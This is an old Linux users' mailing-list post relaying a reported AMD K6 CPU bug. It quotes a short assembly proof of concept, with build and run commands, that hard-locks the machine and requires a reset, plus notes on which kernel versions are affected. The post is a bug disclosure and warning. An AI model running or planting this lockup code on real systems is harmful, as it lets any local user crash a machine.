tlug: AMD K6 bug under Linux...?

[Scott Stone <sstone@example.com>]

http://www.tux.org/hypermail/linux-kernel/1998week23/0093.html

check out this URL.. I haven't tried it on my k6 machines yet, but...
pretty bad if true.

The relevant code:

$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>

Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before 2.1.43, the code segments ended 
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).


--------------------------------------------------
Scott M. Stone <sstone@example.com, sstone@example.com>
               <sstone@example.com>
Linux Developer/Systems Administrator for Pacific HiTech, Inc. 
http://www.pht.com		http://armadillo.pht.co.jp
http://www.pht.co.jp	        http://www.turbolinux.com


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